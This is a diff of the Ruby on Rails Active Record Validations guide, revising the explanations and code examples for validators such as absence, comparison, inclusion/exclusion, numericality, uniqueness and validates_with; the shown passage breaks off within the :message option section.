+This validator validates that the specified attributes are absent. It uses the
+[`Object#present?`][] method to check if the value is neither nil nor a blank
+string - that is, a string that is either empty or consists of whitespace only.
+
+`#absence` is commonly used for conditional validations. For example:
 
 ```ruby
 class Person < ApplicationRecord
-  validates :name, presence: true
+  validates :phone_number, :address, absence: true, if: :invited?
 end
+```
 
->> person = Person.new
->> person.valid?
->> person.errors.details[:name] # => [{error: :blank}]
+```irb
+irb> person = Person.new(name: "Jane Doe", invitation_sent_at: Time.current)
+irb> person.valid?
+=> true # absence validation passes
 ```
 
-Using `details` with custom validators is covered in the [Working with
-Validation Errors](#working-with-validation-errors) section.
+If you want to be sure that an association is absent, you'll need to test
+whether the associated object itself is absent, and not the foreign key used to
+map the association.
 
-Validation Helpers
-------------------
+```ruby
+class LineItem < ApplicationRecord
+  belongs_to :order, optional: true
+  validates :order, absence: true
+end
+```
+
+```irb
+irb> line_item = LineItem.new
+irb> line_item.valid?
+=> true # absence validation passes
+
+order = Order.create
+irb> line_item_with_order = LineItem.new(order: order)
+irb> line_item_with_order.valid?
+=> false # absence validation fails
+```
+
+NOTE: For `belongs_to` the association presence is validated by default. If you
+don’t want to have association presence validated, use `optional: true`.
+
+Rails will usually infer the inverse association automatically. In cases where
+you use a custom `:foreign_key` or a `:through` association, it's important to
+explicitly set the `:inverse_of` option to optimize the association lookup. This
+helps avoid unnecessary database queries during validation.
+
+For more details, check out the [Bi-directional Associations
+documentation](association_basics.html#bi-directional-associations).
+
+NOTE: If you want to ensure that the association is both present and valid, you
+also need to use `validates_associated`. More on that in the
+[validates_associated section](#validates-associated).
+
+If you validate the absence of an object associated via a
+[`has_one`](association_basics.html#the-has-one-association) or
+[`has_many`](association_basics.html#the-has-many-association) relationship, it
+will check that the object is neither `present?` nor `marked_for_destruction?`.
+
+Since `false.present?` is false, if you want to validate the absence of a
+boolean field you should use:
 
-Active Record offers many pre-defined validation helpers that you can use
-directly inside your class definitions. These helpers provide common validation
-rules. Every time a validation fails, an error message is added to the object's
-`errors` collection, and this message is associated with the attribute being
-validated.
+```ruby
+validates :field_name, exclusion: { in: [true, false] }
+```
 
-Each helper accepts an arbitrary number of attribute names, so with a single
-line of code you can add the same kind of validation to several attributes.
+The default error message is _"must be blank"_.
 
-All of them accept the `:on` and `:message` options, which define when the
-validation should be run and what message should be added to the `errors`
-collection if it fails, respectively. The `:on` option takes one of the values
-`:create` or `:update`. There is a default error
-message for each one of the validation helpers. These messages are used when
-the `:message` option isn't specified. Let's take a look at each one of the
-available helpers.
+[`Object#present?`]:
+    https://api.rubyonrails.org/classes/Object.html#method-i-present-3F
 
 ### `acceptance`
 
@@ -284,58 +480,36 @@ class Person < ApplicationRecord
 end
 ```
 
-This check is performed only if `terms_of_service` is not `nil`.
-The default error message for this helper is _"must be accepted"_.
-You can also pass custom message via the `message` option.
+This check is performed only if `terms_of_service` is not `nil`. The default
+error message for this validation is _"must be accepted"_. You can also pass in
+a custom message via the `message` option.
 
 ```ruby
 class Person < ApplicationRecord
-  validates :terms_of_service, acceptance: { message: 'must be abided' }
+  validates :terms_of_service, acceptance: { message: "must be agreed to" }
 end
 ```
 
 It can also receive an `:accept` option, which determines the allowed values
-that will be considered as accepted. It defaults to `['1', true]` and can be
+that will be considered as acceptable. It defaults to `['1', true]` and can be
 easily changed.
 
 ```ruby
 class Person < ApplicationRecord
-  validates :terms_of_service, acceptance: { accept: 'yes' }
-  validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
+  validates :terms_of_service, acceptance: { accept: "yes" }
+  validates :eula, acceptance: { accept: ["TRUE", "accepted"] }
 end
 ```
 
-This validation is very specific to web applications and this
-'acceptance' does not need to be recorded anywhere in your database. If you
-don't have a field for it, the helper will just create a virtual attribute. If
-the field does exist in your database, the `accept` option must be set to
-or include `true` or else the validation will not run.
-
-### `validates_associated`
-
-You should use this helper when your model has associations with other models
-and they also need to be validated. When you try to save your object, `valid?`
-will be called upon each one of the associated objects.
-
-```ruby
-class Library < ApplicationRecord
-  has_many :books
-  validates_associated :books
-end
-```
-
-This validation will work with all of the association types.
-
-CAUTION: Don't use `validates_associated` on both ends of your associations.
-They would call each other in an infinite loop.
-
-The default error message for `validates_associated` is _"is invalid"_. Note
-that each associated object will contain its own `errors` collection; errors do
-not bubble up to the calling model.
+This validation is very specific to web applications and this 'acceptance' does
+not need to be recorded anywhere in your database. If you don't have a field for
+it, the validator will create a virtual attribute. If the field does exist in
+your database, the `accept` option must be set to or include `true` or else the
+validation will not run.
 
 ### `confirmation`
 
-You should use this helper when you have two text fields that should receive
+You should use this validator when you have two text fields that should receive
 exactly the same content. For example, you may want to confirm an email address
 or a password. This validation creates a virtual attribute whose name is the
 name of the field that has to be confirmed with "_confirmation" appended.
@@ -353,9 +527,10 @@ In your view template you could use something like
 <%= text_field :person, :email_confirmation %>
 ```
 
-This check is performed only if `email_confirmation` is not `nil`. To require
-confirmation, make sure to add a presence check for the confirmation attribute
-(we'll take a look at `presence` later on in this guide):
+NOTE: This check is performed only if `email_confirmation` is not `nil`. To
+require confirmation, make sure to add a presence check for the confirmation
+attribute (we'll take a look at the [`presence`](#presence) check later on in
+this guide):
 
 ```ruby
 class Person < ApplicationRecord
@@ -374,32 +549,52 @@ class Person < ApplicationRecord
 end
 ```
 
-The default error message for this helper is _"doesn't match confirmation"_.
+The default error message for this validator is _"doesn't match confirmation"_.
+You can also pass in a custom message via the `message` option.
+
+Generally when using this validator, you will want to combine it with the `:if`
+option to only validate the "_confirmation" field when the initial field has
+changed and **not** every time you save the record. More on [conditional
+validations](#conditional-validations) later.
+
+```ruby
+class Person < ApplicationRecord
+  validates :email, confirmation: true
+  validates :email_confirmation, presence: true, if: :email_changed?
+end
+```
 
-### `exclusion`
+### `comparison`
 
-This helper validates that the attributes' values are not included in a given
-set. In fact, this set can be any enumerable object.
+This validator will validate a comparison between any two comparable values.
 
 ```ruby
-class Account < ApplicationRecord
-  validates :subdomain, exclusion: { in: %w(www us ca jp),
-    message: "%{value} is reserved." }
+class Promotion < ApplicationRecord
+  validates :end_date, comparison: { greater_than: :start_date }
 end
 ```
 
-The `exclusion` helper has an option `:in` that receives the set of values that
-will not be accepted for the validated attributes. The `:in` option has an
-alias called `:within` that you can use for the same purpose, if you'd like to.
-This example uses the `:message` option to show how you can include the
-attribute's value. For full options to the message argument please see the
-[message documentation](#message).
+The default error message for this validator is _"failed comparison"_. You can
+also pass in a custom message via the `message` option.
 
-The default error message is _"is reserved"_.
+These options are all supported:
+
+| Option                      | Description                                                              | Default Error Message                       |
+| --------------------------- | ------------------------------------------------------------------------ | ------------------------------------------- |
+| `:greater_than`             | Specifies the value must be greater than the supplied value.             | "must be greater than %{count}"             |
+| `:greater_than_or_equal_to` | Specifies the value must be greater than or equal to the supplied value. | "must be greater than or equal to %{count}" |
+| `:equal_to`                 | Specifies the value must be equal to the supplied value.                 | "must be equal to %{count}"                 |
+| `:less_than`                | Specifies the value must be less than the supplied value.                | "must be less than %{count}"                |
+| `:less_than_or_equal_to`    | Specifies the value must be less than or equal to the supplied value.    | "must be less than or equal to %{count}"    |
+| `:other_than`               | Specifies the value must be other than the supplied value.               | "must be other than %{count}"               |
+
+NOTE: The validator requires a compare option be supplied. Each option accepts a
+value, proc, or symbol. Any class that includes
+[Comparable](https://docs.ruby-lang.org/en/master/Comparable.html) can be compared.
 
 ### `format`
 
-This helper validates the attributes' values by testing whether they match a
+This validator validates the attributes' values by testing whether they match a
 given regular expression, which is specified using the `:with` option.
 
 ```ruby
@@ -409,14 +604,42 @@ class Product < ApplicationRecord
 end
 ```
 
-Alternatively, you can require that the specified attribute does _not_ match the regular expression by using the `:without` option.
+Inversely, by using the `:without` option instead you can require that the
+specified attribute does _not_ match the regular expression.
+
+In either case, the provided `:with` or `:without` option must be a regular
+expression or a proc or lambda that returns one.
 
 The default error message is _"is invalid"_.
 
-### `inclusion`
+WARNING. Use `\A` and `\z` to match the start and end of the string, `^` and `$`
+match the start/end of a line. Due to frequent misuse of `^` and `$`, you need
+to pass the `multiline: true` option in case you use any of these two anchors in
+the provided regular expression. In most cases, you should be using `\A` and
+`\z`.
+
+### `inclusion` and `exclusion`
+
+Both of these validators validate whether an attribute’s value is included or
+excluded from a given set. The set can be any enumerable object such as an
+array, range, or a dynamically generated collection using a proc, lambda, or
+symbol.
+
+- **`inclusion`** ensures that the value is present in the set.
+- **`exclusion`** ensures that the value is *not* present in the set.
+
+In both cases, the option `:in` receives the set of values, and `:within` can be
+used as an alias. For full options on customizing error messages, see the
+[message documentation](#message).
+
+If the enumerable is a numerical, time, or datetime range, the test is performed
+using `Range#cover?`, otherwise, it uses `include?`. When using a proc or
+lambda, the instance under validation is passed as an argument, allowing for
+dynamic validation.
+
+#### Examples
 
-This helper validates that the attributes' values are included in a given set.
-In fact, this set can be any enumerable object.
+For `inclusion`:
 
 ```ruby
 class Coffee < ApplicationRecord
@@ -425,17 +648,43 @@ class Coffee < ApplicationRecord
 end
 ```
 
-The `inclusion` helper has an option `:in` that receives the set of values that
-will be accepted. The `:in` option has an alias called `:within` that you can
-use for the same purpose, if you'd like to. The previous example uses the
-`:message` option to show how you can include the attribute's value. For full
-options please see the [message documentation](#message).
+For `exclusion`:
 
-The default error message for this helper is _"is not included in the list"_.
+```ruby
+class Account < ApplicationRecord
+  validates :subdomain, exclusion: { in: %w(www us ca jp),
+    message: "%{value} is reserved." }
+end
+```
+
+Both validators allow the use of dynamic validation through methods that return
+an enumerable. Here’s an example using a proc for `inclusion`:
+
+```ruby
+class Coffee < ApplicationRecord
+  validates :size, inclusion: { in: ->(coffee) { coffee.available_sizes } }
+
+  def available_sizes
+    %w(small medium large extra_large)
+  end
+end
+```
+
+Similarly, for `exclusion`:
+
+```ruby
+class Account < ApplicationRecord
+  validates :subdomain, exclusion: { in: ->(account) { account.reserved_subdomains } }
+
+  def reserved_subdomains
+    %w(www us ca jp admin)
+  end
+end
+```
 
 ### `length`
 
-This helper validates the length of the attributes' values. It provides a
+This validator validates the length of the attributes' values. It provides a
 variety of options, so you can specify length constraints in different ways:
 
 ```ruby
@@ -449,14 +698,15 @@ end
 
 The possible length constraint options are:
 
-* `:minimum` - The attribute cannot have less than the specified length.
-* `:maximum` - The attribute cannot have more than the specified length.
-* `:in` (or `:within`) - The attribute length must be included in a given
-  interval. The value for this option must be a range.
-* `:is` - The attribute length must be equal to the given value.
+| Option     | Description                                                                                           |
+| ---------- | ----------------------------------------------------------------------------------------------------- |
+| `:minimum` | The attribute cannot have less than the specified length.                                             |
+| `:maximum` | The attribute cannot have more than the specified length.                                             |
+| `:in`      | The attribute length must be included in a given interval. The value for this option must be a range. |
+| `:is`      | The attribute length must be equal to the given value.                                                |
 
 The default error messages depend on the type of length validation being
-performed. You can personalize these messages using the `:wrong_length`,
+performed. You can customize these messages using the `:wrong_length`,
 `:too_long`, and `:too_short` options and `%{count}` as a placeholder for the
 number corresponding to the length constraint being used. You can still use the
 `:message` option to specify an error message.
@@ -468,30 +718,31 @@ class Person < ApplicationRecord
 end
 ```
 
-Note that the default error messages are plural (e.g., "is too short (minimum
-is %{count} characters)"). For this reason, when `:minimum` is 1 you should
-provide a personalized message or use `presence: true` instead. When
-`:in` or `:within` have a lower limit of 1, you should either provide a
-personalized message or call `presence` prior to `length`.
+NOTE: The default error messages are plural (e.g. "is too short (minimum is
+%{count} characters)"). For this reason, when `:minimum` is 1 you should provide
+a custom message or use `presence: true` instead. Similarly, when `:in` or
+`:within` have a lower limit of 1, you should either provide a custom message or
+call `presence` prior to `length`. Only one constraint option can be used at a
+time apart from the `:minimum` and `:maximum` options which can be combined
+together.
 
 ### `numericality`
 
-This helper validates that your attributes have only numeric values. By
-default, it will match an optional sign followed by an integral or floating
-point number. To specify that only integral numbers are allowed set
-`:only_integer` to true.
+This validator validates that your attributes have only numeric values. By
+default, it will match an optional sign followed by an integer or floating point
+number.
 
-If you set `:only_integer` to `true`, then it will use the
+To specify that only integer numbers are allowed, set `:only_integer` to true.
+Then it will use the following regular expression to validate the attribute's
+value.
 
 ```ruby
 /\A[+-]?\d+\z/
 ```
 
-regular expression to validate the attribute's value. Otherwise, it will try to
-convert the value to a number using `Float`.
-
-WARNING. Note that the regular expression above allows a trailing newline
-character.
+Otherwise, it will try to convert the value to a number using `Float`. `Float`s
+are converted to `BigDecimal` using the column's precision value or a maximum of
+15 digits.
 
 ```ruby
 class Player < ApplicationRecord
@@ -500,38 +751,39 @@ class Player < ApplicationRecord
 end
 ```
 
-Besides `:only_integer`, this helper also accepts the following options to add
-constraints to acceptable values:
+The default error message for `:only_integer` is _"must be an integer"_.
+
+Besides `:only_integer`, this validator also accepts the `:only_numeric` option
+which specifies the value must be an instance of `Numeric` and attempts to parse
+the value if it is a `String`.
+
+NOTE: By default, `numericality` doesn't allow `nil` values. You can use
+`allow_nil: true` option to permit it. For `Integer` and `Float` columns empty
+strings are converted to `nil`.
 
-* `:greater_than` - Specifies the value must be greater than the supplied
-  value. The default error message for this option is _"must be greater than
-  %{count}"_.
-* `:greater_than_or_equal_to` - Specifies the value must be greater than or
-  equal to the supplied value. The default error message for this option is
-  _"must be greater than or equal to %{count}"_.
-* `:equal_to` - Specifies the value must be equal to the supplied value. The
-  default error message for this option is _"must be equal to %{count}"_.
-* `:less_than` - Specifies the value must be less than the supplied value. The
-  default error message for this option is _"must be less than %{count}"_.
-* `:less_than_or_equal_to` - Specifies the value must be less than or equal to
-  the supplied value. The default error message for this option is _"must be
-  less than or equal to %{count}"_.
-* `:other_than` - Specifies the value must be other than the supplied value.
-  The default error message for this option is _"must be other than %{count}"_.
-* `:odd` - Specifies the value must be an odd number if set to true. The
-  default error message for this option is _"must be odd"_.
-* `:even` - Specifies the value must be an even number if set to true. The
-  default error message for this option is _"must be even"_.
+The default error message when no options are specified is _"is not a number"_.
 
-NOTE: By default, `numericality` doesn't allow `nil` values. You can use `allow_nil: true` option to permit it.
+There are also many options that can be used to add constraints to acceptable
+values:
+
+| Option                      | Description                                                              | Default Error Message                       |
+| --------------------------- | ------------------------------------------------------------------------ | ------------------------------------------- |
+| `:greater_than`             | Specifies the value must be greater than the supplied value.             | "must be greater than %{count}"             |
+| `:greater_than_or_equal_to` | Specifies the value must be greater than or equal to the supplied value. | "must be greater than or equal to %{count}" |
+| `:equal_to`                 | Specifies the value must be equal to the supplied value.                 | "must be equal to %{count}"                 |
+| `:less_than`                | Specifies the value must be less than the supplied value.                | "must be less than %{count}"                |
+| `:less_than_or_equal_to`    | Specifies the value must be less than or equal to the supplied value.    | "must be less than or equal to %{count}"    |
+| `:other_than`               | Specifies the value must be other than the supplied value.               | "must be other than %{count}"               |
+| `:in`                       | Specifies the value must be in the supplied range.                       | "must be in %{count}"                       |
+| `:odd`                      | Specifies the value must be an odd number.                               | "must be odd"                               |
+| `:even`                     | Specifies the value must be an even number.                              | "must be even"                              |
 
-The default error message is _"is not a number"_.
 
 ### `presence`
 
-This helper validates that the specified attributes are not empty. It uses the
-`blank?` method to check if the value is either `nil` or a blank string, that
-is, a string that is either empty or consists of whitespace.
+This validator validates that the specified attributes are not empty. It uses
+the [`Object#blank?`][] method to check if the value is either `nil` or a blank
+string - that is, a string that is either empty or consists of whitespace.
 
 ```ruby
 class Person < ApplicationRecord
@@ -539,89 +791,78 @@ class Person < ApplicationRecord
 end
 ```
 
-If you want to be sure that an association is present, you'll need to test
-whether the associated object itself is present, and not the foreign key used
-to map the association.
+```irb
+person = Person.new(name: "Alice", login: "alice123", email: "alice@example.com")
+person.valid?
+=> true # presence validation passes
 
-```ruby
-class LineItem < ApplicationRecord
-  belongs_to :order
-  validates :order, presence: true
-end
+invalid_person = Person.new(name: "", login: nil, email: "bob@example.com")
+invalid_person.valid?
+=> false # presence validation fails
 ```
 
-In order to validate associated records whose presence is required, you must
-specify the `:inverse_of` option for the association:
+To check that an association is present, you'll need to test that the associated
+object is present, and not the foreign key used to map the association. Testing
+the association will help you to determine that the foreign key is not empty and
+also that the referenced object exists.
 
 ```ruby
-class Order < ApplicationRecord
-  has_many :line_items, inverse_of: :order
+class Supplier < ApplicationRecord
+  has_one :account
+  validates :account, presence: true
 end
 ```
 
-If you validate the presence of an object associated via a `has_one` or
-`has_many` relationship, it will check that the object is neither `blank?` nor
-`marked_for_destruction?`.
+```irb
+irb> account = Account.create(name: "Account A")
 
-Since `false.blank?` is true, if you want to validate the presence of a boolean
-field you should use one of the following validations:
+irb> supplier = Supplier.new(account: account)
+irb> supplier.valid?
+=> true # presence validation passes
 
-```ruby
-validates :boolean_field_name, inclusion: { in: [true, false] }
-validates :boolean_field_name, exclusion: { in: [nil] }
+irb> invalid_supplier = Supplier.new
+irb> invalid_supplier.valid?
+=> false # presence validation fails
 ```
 
-By using one of these validations, you will ensure the value will NOT be `nil`
-which would result in a `NULL` value in most cases.
+In cases where you use a custom `:foreign_key` or a `:through` association, it's
+important to explicitly set the `:inverse_of` option to optimize the association
+lookup. This helps avoid unnecessary database queries during validation.
 
-### `absence`
+For more details, check out the [Bi-directional Associations
+documentation](association_basics.html#bi-directional-associations).
 
-This helper validates that the specified attributes are absent. It uses the
-`present?` method to check if the value is not either nil or a blank string, that
-is, a string that is either empty or consists of whitespace.
+NOTE: If you want to ensure that the association is both present and valid, you
+also need to use `validates_associated`. More on that
+[below](#validates-associated).
 
-```ruby
-class Person < ApplicationRecord
-  validates :name, :login, :email, absence: true
-end
-```
+If you validate the presence of an object associated via a
+[`has_one`](association_basics.html#the-has-one-association) or
+[`has_many`](association_basics.html#the-has-many-association) relationship, it
+will check that the object is neither `blank?` nor `marked_for_destruction?`.
 
-If you want to be sure that an association is absent, you'll need to test
-whether the associated object itself is absent, and not the foreign key used
-to map the association.
-
-```ruby
-class LineItem < ApplicationRecord
-  belongs_to :order
-  validates :order, absence: true
-end
-```
-
-In order to validate associated records whose absence is required, you must
-specify the `:inverse_of` option for the association:
+Since `false.blank?` is true, if you want to validate the presence of a boolean
+field you should use one of the following validations:
 
 ```ruby
-class Order < ApplicationRecord
-  has_many :line_items, inverse_of: :order
-end
+# Value _must_ be true or false
+validates :boolean_field_name, inclusion: [true, false]
+# Value _must not_ be nil, aka true or false
+validates :boolean_field_name, exclusion: [nil]
 ```
 
-If you validate the absence of an object associated via a `has_one` or
-`has_many` relationship, it will check that the object is neither `present?` nor
-`marked_for_destruction?`.
+By using one of these validations, you will ensure the value will NOT be `nil`
+which would result in a `NULL` value in most cases.
 
-Since `false.present?` is false, if you want to validate the absence of a boolean
-field you should use `validates :field_name, exclusion: { in: [true, false] }`.
+The default error message is _"can't be blank"_.
 
-The default error message is _"must be blank"_.
+[`Object#blank?`]:
+    https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F
 
 ### `uniqueness`
 
-This helper validates that the attribute's value is unique right before the
-object gets saved. It does not create a uniqueness constraint in the database,
-so it may happen that two different database connections create two records
-with the same value for a column that you intend to be unique. To avoid that,
-you must create a unique index on that column in your database.
+This validator validates that the attribute's value is unique right before the
+object gets saved.
 
 ```ruby
 class Account < ApplicationRecord
@@ -632,8 +873,8 @@ end
 The validation happens by performing an SQL query into the model's table,
 searching for an existing record with the same value in that attribute.
 
-There is a `:scope` option that you can use to specify one or more attributes that
-are used to limit the uniqueness check:
+There is a `:scope` option that you can use to specify one or more attributes
+that are used to limit the uniqueness check:
 
 ```ruby
 class Holiday < ApplicationRecord
@@ -641,11 +882,27 @@ class Holiday < ApplicationRecord
     message: "should happen once per year" }
 end
 ```
-Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns.
+
+WARNING. This validation does not create a uniqueness constraint in the
+database, so a scenario can occur whereby two different database connections
+create two records with the same value for a column that you intended to be
+unique. To avoid this, you must create a unique index on that column in your
+database.
+
+In order to add a uniqueness database constraint on your database, use the
+[`add_index`][] statement in a migration and include the `unique: true` option.
+
+If you are using the `:scope` option in your uniqueness validation, and you wish
+to create a database constraint to prevent possible violations of the uniqueness
+validation, you must create a unique index on both columns in your database. See
+[the MySQL manual][] and [the MariaDB manual][] for more details about multiple
+column indexes, or [the PostgreSQL manual][] for examples of unique constraints
+that refer to a group of columns.
 
 There is also a `:case_sensitive` option that you can use to define whether the
-uniqueness constraint will be case sensitive or not. This option defaults to
-true.
+uniqueness constraint will be case sensitive, case insensitive, or if it should
+respect the default database collation. This option defaults to respecting the
+default database collation.
 
 ```ruby
 class Person < ApplicationRecord
@@ -653,58 +910,164 @@ class Person < ApplicationRecord
 end
 ```
 
-WARNING. Note that some databases are configured to perform case-insensitive
-searches anyway.
+WARNING: Some databases are configured to perform case-insensitive searches
+anyway.
+
+A `:conditions` option can be used to specify additional conditions as a `WHERE`
+SQL fragment to limit the uniqueness constraint lookup:
+
+```ruby
+validates :name, uniqueness: { conditions: -> { where(status: "active") } }
+```
 
 The default error message is _"has already been taken"_.
 
+See [`validates_uniqueness_of`][] for more information.
+
+[`validates_uniqueness_of`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_uniqueness_of
+[`add_index`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index
+[the MySQL manual]:
+    https://dev.mysql.com/doc/refman/en/multiple-column-indexes.html
+[the MariaDB manual]: https://mariadb.com/kb/en/compound-composite-indexes/
+[the PostgreSQL manual]:
+    https://www.postgresql.org/docs/current/static/ddl-constraints.html
+
+### `validates_associated`
+
+You should use this validator when your model has associations that always need
+to be validated. Every time you try to save your object, `valid?` will be called
+on each one of the associated objects.
+
+```ruby
+class Library < ApplicationRecord
+  has_many :books
+  validates_associated :books
+end
+```
+
+This validation will work with all of the association types.
+
+WARNING: Don't use `validates_associated` on both ends of your associations.
+They would call each other in an infinite loop.
+
+The default error message for [`validates_associated`][] is _"is invalid"_. Note
+that each associated object will contain its own `errors` collection; errors do
+not bubble up to the calling model.
+
+NOTE: [`validates_associated`][] can only be used with ActiveRecord objects,
+everything up until now can also be used on any object which includes
+[`ActiveModel::Validations`][].
+
+[`validates_associated`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_associated
+
+### `validates_each`
+
+This validator validates attributes against a block. It doesn't have a
+predefined validation function. You should create one using a block, and every
+attribute passed to [`validates_each`][] will be tested against it.
+
+In the following example, we will reject names and surnames that begin with
+lowercase.
+
+```ruby
+class Person < ApplicationRecord
+  validates_each :name, :surname do |record, attr, value|
+    record.errors.add(attr, "must start with upper case") if /\A[[:lower:]]/.match?(value)
+  end
+end
+```
+
+The block receives the record, the attribute's name, and the attribute's value.
+
+You can do anything you like to check for valid data within the block. If your
+validation fails, you should add an error to the model, therefore making it
+invalid.
+
+[`validates_each`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each
+
 ### `validates_with`
 
-This helper passes the record to a separate class for validation.
+This validator passes the record to a separate class for validation.
 
 ```ruby
-class GoodnessValidator < ActiveModel::Validator
+class AddressValidator < ActiveModel::Validator
   def validate(record)
-    if record.first_name == "Evil"
-      record.errors[:base] << "This person is evil"
+    if record.house_number.blank?
+      record.errors.add :house_number, "is required"
+    end
+
+    if record.street.blank?
+      record.errors.add :street, "is required"
+    end
+
+    if record.postcode.blank?
+      record.errors.add :postcode, "is required"
     end
   end
 end
 
-class Person < ApplicationRecord
-  validates_with GoodnessValidator
+class Invoice < ApplicationRecord
+  validates_with AddressValidator
 end
 ```
 
+There is no default error message for `validates_with`. You must manually add
+errors to the record's errors collection in the validator class.
+
 NOTE: Errors added to `record.errors[:base]` relate to the state of the record
-as a whole, and not to a specific attribute.
+as a whole.
+
+To implement the validate method, you must accept a `record` parameter in the
+method definition, which is the record to be validated.
+
+If you want to add an error on a specific attribute, you can pass it as the
+first argument to the `add` method.
 
-The `validates_with` helper takes a class, or a list of classes to use for
-validation. There is no default error message for `validates_with`. You must
-manually add errors to the record's errors collection in the validator class.
+```ruby
+def validate(record)
+  if record.some_field != "acceptable"
+    record.errors.add :some_field, "this field is unacceptable"
+  end
+end
+```
 
-To implement the validate method, you must have a `record` parameter defined,
-which is the record to be validated.
+We will cover [validation errors](#working-with-validation-errors) in greater
+detail later.
+
+The [`validates_with`][] validator takes a class, or a list of classes to use
+for validation.
+
+```ruby
+class Person < ApplicationRecord
+  validates_with MyValidator, MyOtherValidator, on: :create
+end
+```
 
 Like all other validations, `validates_with` takes the `:if`, `:unless` and
 `:on` options. If you pass any other options, it will send those options to the
 validator class as `options`:
 
 ```ruby
-class GoodnessValidator < ActiveModel::Validator
+class AddressValidator < ActiveModel::Validator
   def validate(record)
-    if options[:fields].any?{|field| record.send(field) == "Evil" }
-      record.errors[:base] << "This person is evil"
+    options[:fields].each do |field|
+      if record.send(field).blank?
+        record.errors.add field, "is required"
+      end
     end
   end
 end
 
-class Person < ApplicationRecord
-  validates_with GoodnessValidator, fields: [:first_name, :last_name]
+class Invoice < ApplicationRecord
+  validates_with AddressValidator, fields: [:house_number, :street, :postcode, :country]
 end
 ```
 
-Note that the validator will be initialized *only once* for the whole application
+NOTE: The validator will be initialized *only once* for the whole application
 life cycle, and not on each validation run, so be careful about using instance
 variables inside it.
 
@@ -712,51 +1075,56 @@ If your validator is complex enough that you want instance variables, you can
 easily use a plain old Ruby object instead:
 
 ```ruby
-class Person < ApplicationRecord
-  validate do |person|
-    GoodnessValidator.new(person).validate
+class Invoice < ApplicationRecord
+  validate do |invoice|
+    AddressValidator.new(invoice).validate
   end
 end
 
-class GoodnessValidator
-  def initialize(person)
-    @person = person
+class AddressValidator
+  def initialize(invoice)
+    @invoice = invoice
   end
 
   def validate
-    if some_complex_condition_involving_ivars_and_private_methods?
-      @person.errors[:base] << "This person is evil"
-    end
+    validate_field(:house_number)
+    validate_field(:street)
+    validate_field(:postcode)
   end
 
-  # ...
+  private
+    def validate_field(field)
+      if @invoice.send(field).blank?
+        @invoice.errors.add field, "#{field.to_s.humanize} is required"
+      end
+    end
 end
 ```
 
-### `validates_each`
+We will cover [custom validations](#performing-custom-validations) more later.
 
-This helper validates attributes against a block. It doesn't have a predefined
-validation function. You should create one using a block, and every attribute
-passed to `validates_each` will be tested against it. In the following example,
-we don't want names and surnames to begin with lower case.
+[`validates_with`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with
 
-```ruby
-class Person < ApplicationRecord
-  validates_each :name, :surname do |record, attr, value|
-    record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
-  end
-end
-```
+Validation Options
+------------------
 
-The block receives the record, the attribute's name and the attribute's value.
-You can do anything you like to check for valid data within the block. If your
-validation fails, you should add an error message to the model, therefore
-making it invalid.
+There are several common options supported by the validators. These options are:
 
-Common Validation Options
--------------------------
+* [`:allow_nil`](#allow-nil): Skip validation if the attribute is `nil`.
+* [`:allow_blank`](#allow-blank): Skip validation if the attribute is blank.
+* [`:message`](#message): Specify a custom error message.
+* [`:on`](#on): Specify the contexts where this validation is active.
+* [`:strict`](#strict-validations): Raise an exception when the validation
+  fails.
+* [`:if` and `:unless`](#conditional-validations): Specify when the validation
+  should or should not occur.
 
-These are common validation options:
+NOTE: Not all of these options are supported by every validator, please refer to
+the API documentation for [`ActiveModel::Validations`][].
+
+[`ActiveModel::Validations`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations.html
 
 ### `:allow_nil`
 
@@ -770,8 +1138,15 @@ class Coffee < ApplicationRecord
 end
 ```
 
-For full options to the message argument please see the
-[message documentation](#message).
+```irb
+irb> Coffee.create(size: nil).valid?
+=> true
+irb> Coffee.create(size: "mega").valid?
+=> false
+```
+
+For full options to the message argument please see the [message
+documentation](#message).
 
 ### `:allow_blank`
 
@@ -781,58 +1156,72 @@ empty string for example.
 
 ```ruby
 class Topic < ApplicationRecord
-  validates :title, length: { is: 5 }, allow_blank: true
+  validates :title, length: { is: 6 }, allow_blank: true
 end
+```
 
-Topic.create(title: "").valid?  # => true
-Topic.create(title: nil).valid? # => true
+```irb
+irb> Topic.create(title: "").valid?
+=> true
+irb> Topic.create(title: nil).valid?
+=> true
+irb> Topic.create(title: "short").valid?
+=> false # 'short' is not of length 6, so validation fails even though it's not blank
 ```
 
 ### `:message`
 
 As you've already seen, the `:message` option lets you specify the message that
-will be added to the `errors` collection when validation fails. When this
-option is not used, Active Record will use the respective default error message
-for each validation helper. The `:message` option accepts a `String` or `Proc`.
+will be added to the `errors` collection when validation fails. When this option
+is not used, Active Record will use the respective default error message for
+each validation.
+
+The `:message` option accepts either a `String` or `Proc` as its value.
 
 A `String` `:message` value can optionally contain any/all of `%{value}`,
 `%{attribute}`, and `%{model}` which will be dynamically replaced when
-validation fails. This replacement is done using the I18n gem, and the
-placeholders must match exactly, no spaces are allowed.
-
-A `Proc` `:message` value is given two arguments: the object being validated, and
-a hash with `:model`, `:attribute`, and `:value` key-value pairs.
+validation fails. This replacement is done using the [i18n
+gem](https://github.com/ruby-i18n/i18n), and the placeholders must match
+exactly, no spaces are allowed.
 
 ```ruby
 class Person < ApplicationRecord
   # Hard-coded message
   validates :name, presence: { message: "must be given please" }
 
-  # Message with dynamic attribute value. %{value} will be replaced with
-  # the actual value of the attribute. %{attribute} and %{model} also
-  # available.
+  # Message with dynamic attribute value. %{value} will be replaced
+  # with the actual value of the attribute. %{attribute} and %{model}
+  # are also available.
   validates :age, numericality: { message: "%{value} seems wrong" }
+end
+```
 
-  # Proc
+A `Proc` `:message` value is given two arguments: the object being validated,
